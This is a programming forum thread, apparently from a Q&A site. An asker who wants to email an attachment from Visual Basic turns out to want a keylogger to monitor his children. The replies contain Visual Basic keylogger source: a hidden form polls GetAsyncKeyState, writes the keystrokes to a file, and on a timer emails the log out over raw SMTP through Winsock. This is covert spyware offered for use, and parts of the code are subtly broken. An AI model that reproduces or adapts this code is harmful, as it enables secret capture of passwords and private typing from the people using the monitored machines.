Improve company productivity with a Business Account.Sign Up

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 295
  • Last Modified:

email with attatchment

Hi, im a noob.

I know a bit of Visual Basic, but not too much. My knowledge certainly pales in comparison with you guys. Thus, I have come to seek your help.

I am trying to send an email with an attachment via visual basic, there doesn't need to be any text or anything. How do i go about doing this?
Sorry for the large scope of the question, or if i sound like a right idiot...
0
Redhotdragon
Asked:
Redhotdragon
  • 4
  • 3
  • 3
  • +2
1 Solution
 
OHDev2004Commented:
0
 
OHDev2004Commented:
dont say that man ,, we all learn here,,  no matter the sum of knowledge someone has,, the more important is that you persist on learning and knowing more and more
0
 
EmranHasanCommented:
Hi There,

I have my own code for sending mail with attachment. Its too large to be posted here. Let me know if you're interested.

Thanks

Md Emran Hasan
0
Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

 
bingieCommented:
0
 
SethiCommented:
One of the favorites. This is a free activex to send emails through VB:
http://www.freevbcode.com/ShowCode.Asp?ID=109
0
 
SethiCommented:
bingie types lesser words and won the race :-)
0
 
bingieCommented:
:-)..thats one of the most common paste-ins..
0
 
SethiCommented:
:-) I agree and one of the best activex I have used
0
 
RedhotdragonAuthor Commented:
Thanks guys.
I like the activex :) could someone explain every thing in there? Or is that too much to ask...I just don't like adding code unless i know just what it is im adding...
Md Emran, if you could email me the code with explanations...I'd be very greatful.
Thanks all
~rhd
0
 
bingieCommented:
There is a full documentation included in the package in MS Word format....It explains everything.

Bingie
0
 
RedhotdragonAuthor Commented:
Here's what im acutally trying to do..
I wrote this code:

Dim result, FileNumber As Integer
Dim log As String


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Timer1_Timer()

Form1.Visible = False

FileNumber = FreeFile



For i = 32 To 128

result = 0
result = GetAsyncKeyState(i)

    If result = -32767 Then
        Text1.Text = Text1.Text + Chr(i)
        log = Text1.Text
        Open "C:\Windows\logfilekey.txt" For Append Access Write As #FileNumber
        Write #FileNumber, log
        Close #FileNumber
    End If
   
Next i

End Sub

It is supposed to log all the keys i type, so that i can recover them if i accidently close an application without saving all my work. First of all, is this code efficient?
I would also like to put this code on other computers in the house so as to monitor what my children type and so i would like it to send me an email of the log file. How would i go about doing this?

Thanks..I've put all the points i have in...and i don't have that many!

Rhd
0
 
OHDev2004Commented:
they way you try to record keystrokes with looks like the following when you open the logfile:

"H"
"HI"
"HI "
"HI M"
"HI MA"
"HI MAN"
"HI MAN "
"HI MAN H"
"HI MAN HO"
"HI MAN HOW"
"HI MAN HOW "
"HI MAN HOW A"
"HI MAN HOW AR"
"HI MAN HOW ARE"
"HI MAN HOW ARE "
"HI MAN HOW ARE Y"
"HI MAN HOW ARE YO"
"HI MAN HOW ARE YOU"
"HI MAN HOW ARE YOU "
"HI MAN HOW ARE YOU T"
"HI MAN HOW ARE YOU TO"
"HI MAN HOW ARE YOU TOD"
"HI MAN HOW ARE YOU TODA"
"HI MAN HOW ARE YOU TODAY"
"HI MAN HOW ARE YOU TODAY "
"HI MAN HOW ARE YOU TODAY  "
"HI MAN HOW ARE YOU TODAY  D"
"HI MAN HOW ARE YOU TODAY  DI"
"HI MAN HOW ARE YOU TODAY  DID"
"HI MAN HOW ARE YOU TODAY  DIDN"
"HI MAN HOW ARE YOU TODAY  DIDNT"

you are repeating all the input every time ,, if you want only to record all the keystrokes
which is in this case the last line every time you'll better do this
===================================================

Dim logx As String

Private Sub Form_Load()
Form1.Visible = False
End Sub


Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.txt" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub
================================================

Wanna hear you comment on this
0
 
OHDev2004Commented:
look here is a program i made to record keystrokes then send it to your email

==========================================================

'By OHDev
'In a Module
'You will need a timer and a Winsock Control
Public Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public logx As String ' the string which holds the keystrokes
Public TimeStart As String 'record the time the log started in
Public Const MyEmail  as string = "YourEmail@emailserver.com"
Public Const TimePerioud As Long = 1 * 1000 * 60  ' Every 30 minutes send mail

Sub SendMail()
Dim MailServer As String
MailServer = "mta208.mail.scd.yahoo.com" ' here you provide the email server which is used to send mail

If Form1.Winsock1.State <> sckClosed Then Form1.Winsock1.Close
Form1.Winsock1.RemoteHost = MailServer
Form1.Winsock1.RemotePort = 25
Form1.Winsock1.Connect 'connect to the server
'when connected the winsock1_connected function is called
End Sub


'===================================================
'In the Form1 ,, add a timer1 and a Winsock1 Control

Private Sub Form_Load()
Form1.Visible = False
SetTimer Me.hWnd, 0, TimePerioud, AddressOf SendMail 'to set a long timer for sending the email every timeperioud
TimeStart = Time ' to log the start time
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hWnd, 0
End Sub

Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.SndData" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub


Private Sub Winsock1_Connect()
Dim SndData As String
SndData = SndData & "HELO aaa" & Cr & "MAIL FROM: <HOME >" & Cr & "RCPT TO: <" & Email & ">" & Cr
SndData = SndData & "DATA" & Cr & "From: My-Home <Children@Home>" & Cr
SndData = SndData & "Subject: " & "Keystroke Log between" & TimeStart & " and " & Time & Cr
SndData = SndData & logx & Cr
SndData = SndData & Cr & Cr & "." & Cr & Cr & "quit"
Winsock1.SendData SndData 'send the email

TimeStart = Time ' start a new perioud
logx = "" ' reset old log
End Sub

=====================================================

Hope this works
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

Join & Write a Comment

Featured Post

Get expert help—faster!

Need expert help—fast? Use the Help Bell for personalized assistance getting answers to your important questions.

  • 4
  • 3
  • 3
  • +2
Tackle projects and never again get stuck behind a technical roadblock.
Join Now